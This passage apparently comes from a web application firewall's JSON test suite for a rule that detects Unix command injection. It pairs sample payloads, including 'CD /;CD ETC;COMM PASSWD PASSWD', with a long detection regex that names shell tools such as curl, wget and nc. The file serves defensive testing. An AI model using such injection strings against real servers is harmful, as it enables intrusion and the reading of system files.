opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "PDDUY935" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "CD /;CD ETC;COMM PASSWD PASSWD\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9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&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "PDDUY935 - but uppercase" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=comment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0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\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|